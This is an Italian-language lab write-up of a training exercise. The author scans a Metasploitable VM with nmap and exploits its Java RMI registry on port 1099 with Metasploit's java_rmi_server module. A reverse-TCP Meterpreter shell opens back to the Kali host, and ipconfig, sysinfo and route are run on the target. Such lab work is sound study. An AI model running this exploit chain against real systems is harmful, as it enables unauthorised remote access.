

Progetto S7L5

Exploitare servizio Java
RMI

name: Davide Lecci

Scansione Servizi

Come richiesto dall'esercizio ho impostato gli ip delle due macchine come segue:

kali linux: 192.168.11.111

metasploitable: 192.168.11.112

```
nsfadmin@metasploitable:~$ ifconfig
eth0: Link encap:Ethernet HWaddr 08:00:27:1b:94:98
      inet addr:192.168.11.112 Bcast:192.168.11.255 Mask:255.255.255.0
      inet6 addr: fe80::a00:27ff:fe1b:9498/64 Scope:Link
      UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
      RX packets:0 errors:0 dropped:0 overruns:0 frame:0
      TX packets:48 errors:0 dropped:0 overruns:0 carrier:0
      collisions:0 txqueuelen:1000
      RX bytes:0 (0.0 B)  TX bytes:3836 (3.7 KB)
      Base address:0xd010 Memory:f0200000-f0220000

lo:    Link encap:Local Loopback
      inet addr:127.0.0.1 Mask:255.0.0.0
      inet6 addr: ::1/128 Scope:Host
      UP LOOPBACK RUNNING  MTU:16436  Metric:1
      RX packets:104 errors:0 dropped:0 overruns:0 frame:0
      TX packets:104 errors:0 dropped:0 overruns:0 carrier:0
      collisions:0 txqueuelen:0
      RX bytes:20581 (20.0 KB)  TX bytes:20581 (20.0 KB)

nsfadmin@metasploitable:~$ _

[davide@kali]~$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
      inet 192.168.11.111 netmask 255.255.255.0 broadcast 192.168.11.255
      inet6 fe80::a00:27ff:feb7:68a3 prefixlen 64 scopeid 0<20<link>
      ether 08:00:27:b7:68:a3  txqueuelen 1000  (Ethernet)
      RX packets 23  bytes 3058 (2.9 KiB)
      RX errors 0  dropped 0  overruns 0  frame 0
      TX packets 18  bytes 2564 (2.5 KiB)
      TX errors 0  dropped 0  overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
      inet 127.0.0.1 netmask 255.0.0.0
      inet6 ::1 prefixlen 128 scopeid 0<10<host>
      loop txqueuelen 1000  (Local Loopback)
      RX packets 4  bytes 240 (240.0 B)
      RX errors 0  dropped 0  overruns 0  frame 0
      TX packets 4  bytes 240 (240.0 B)
      TX errors 0  dropped 0  overruns 0  carrier 0  collisions 0
```

Ho effettuato una scansione con nmap da kali verso metasploitable e questi sono i risultati che ho ottenuto:

```
[davide@kali]~$ nmap -sV 192.168.11.112
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-10 09:21 CET
Nmap scan report for 192.168.11.112
Host is up (0.00012s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  shell        Netkit rshd
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 65.39 seconds
```

Ai fini dell'esercizio è importante notare che la porta **1099** è aperta. Su questa porta gira il servizio **java-rmi**

Questo servizio consente agli oggetti di java di invocare metodi che si trovano su una macchina diversa dalla loro.

Ad esempio se avessimo un'applicazione che deve interagire con un database salvato su un'altra macchina, questa potrebbe farlo grazie a questo servizio.

In pratica per far funzionare il tutto è necessario che venga creato un oggetto remoto che al suo interno dovrà implementare tutti i metodi che desidera invocare e che venga registrato in un registro **rmi**.

Lo scopo è appunto quello di sfruttare una vulnerabilità di questo servizio per ottenere l'accesso sul server remoto (nel nostro caso metasploitable) ed ottenere così informazioni sul sistema target.

Exploit vulnerabilità

Per sfruttare questa vulnerabilità ci avvaliamo di **metasploit** un software che ci fornisce molti moduli utili al nostro scopo.

Come si può vedere nello screenshot sottostante ho cercato quali moduli fossero idonei all'exploit e ho scelto il numero 1:

exploit/multi/misc/java_rmi_server

```
Metasploit Documentation: https://docs.metasploit.com/
msf6 > search java_rmi

Matching Modules
-----
#  Name                                     Disclosure Date  Rank    Check  Description
-  -                                     -
0  auxiliary/gather/java_rmi_registry        2011-10-15      normal No      Java RMI Registry Interfaces Enumeration
1  exploit/multi/misc/java_rmi_server        2011-10-15      excellent Yes    Java RMI Server Insecure Default Configuration Java Code Execution
2  auxiliary/scanner/misc/java_rmi_server    2011-10-15      normal No      Java RMI Server Insecure Endpoint Code Execution Scanner
3  exploit/multi/browser/java_rmi_connection_impl 2010-03-31      excellent No      Java RMIConnectionImpl Deserialization Privilege Escalation

Interact with a module by name or index. For example info 3, use 3 or use exploit/multi/browser/java_rmi_connection_impl
msf6 > |
```

```
msf6 > use 1
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):



| Name      | Current Setting | Required | Description                                                                                                                                                                                         |
|-----------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| HTTPDELAY | 10              | yes      | Time that the HTTP Server will wait for the payload request                                                                                                                                         |
| RHOSTS    |                 | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT     | 1099            | yes      | The target port (TCP)                                                                                                                                                                               |
| SRVHOST   | 0.0.0.0         | yes      | The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.                                                               |
| SRVPORT   | 8080            | yes      | The local port to listen on.                                                                                                                                                                        |
| SSL       | false           | no       | Negotiate SSL for incoming connections                                                                                                                                                              |
| SSLCert   |                 | no       | Path to a custom SSL certificate (default is randomly generated)                                                                                                                                    |
| URIPATH   |                 | no       | The URI to use for this exploit (default is random)                                                                                                                                                 |



Payload options (java/meterpreter/reverse_tcp):



| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.11.111  | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |



Exploit target:



| Id | Name                   |
|----|------------------------|
| 0  | Generic (Java Payload) |



View the full module info with the info, or info -d command.
```

Si può notare che appena scelto il modulo 1 metasploit imposti di default il payload **java/meterpreter/reverse_tcp**. Andando a verificare le opzioni di questo payload salta subito all'occhio che è necessario impostare il parametro **RHOSTS** poiché è **required**. Nell'immagine sotto si può vedere come il parametro sia stato correttamente configurato.

```
msf6 exploit(multi/misc/java_rmi_server) > set rhosts 192.168.11.112
rhosts => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):



| Name      | Current Setting | Required | Description                                                                                                                                                                                         |
|-----------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| HTTPDELAY | 10              | yes      | Time that the HTTP Server will wait for the payload request                                                                                                                                         |
| RHOSTS    | 192.168.11.112  | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT     | 1099            | yes      | The target port (TCP)                                                                                                                                                                               |
| SRVHOST   | 0.0.0.0         | yes      | The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.                                                               |
| SRVPORT   | 8080            | yes      | The local port to listen on.                                                                                                                                                                        |
| SSL       | false           | no       | Negotiate SSL for incoming connections                                                                                                                                                              |
| SSLCert   |                 | no       | Path to a custom SSL certificate (default is randomly generated)                                                                                                                                    |
| URIPATH   |                 | no       | The URI to use for this exploit (default is random)                                                                                                                                                 |



Payload options (java/meterpreter/reverse_tcp):



| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.11.111  | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |



Exploit target:



| Id | Name                   |
|----|------------------------|
| 0  | Generic (Java Payload) |



View the full module info with the info, or info -d command.
```

Negli screenshots che seguono è possibile osservare l'esecuzione dell'exploit e l'ottenimento delle informazioni richieste tra cui la configurazione di rete (si può notare che l'ip è quello della macchina meta, quindi abbiamo un'ulteriore conferma di essere sulla macchina target). Vediamo anche le informazioni sul sistema operativo della macchina target e riusciamo ad ottenere informazioni anche sulla tabella di routing.

```
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/TNnEDSjLF2
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header...
[*] 192.168.11.112:1099 - Sending RMI Call...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (57670 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:45969) at 2023-11-10 10:19:47 +0100
```

```
meterpreter > ipconfig
```

Interface 1

```
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::
```

Interface 2

```
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe1b:9498
IPv6 Netmask : ::
```

```
meterpreter > █
```

```
meterpreter > sysinfo
```

```
Computer      : metasploitable
OS            : Linux 2.6.24-16-server (i386)
Architecture  : x86
System Language : en_US
Meterpreter    : java/linux
```

```
meterpreter > █
```

```
meterpreter > route
```

IPv4 network routes

Subnet	Netmask	Gateway	Metric	Interface
127.0.0.1	255.0.0.0	0.0.0.0		
192.168.11.112	255.255.255.0	0.0.0.0		

IPv6 network routes

Subnet	Netmask	Gateway	Metric	Interface
::1	::	::		
fe80::a00:27ff:fe1b:9498	::	::		

```
meterpreter > █
```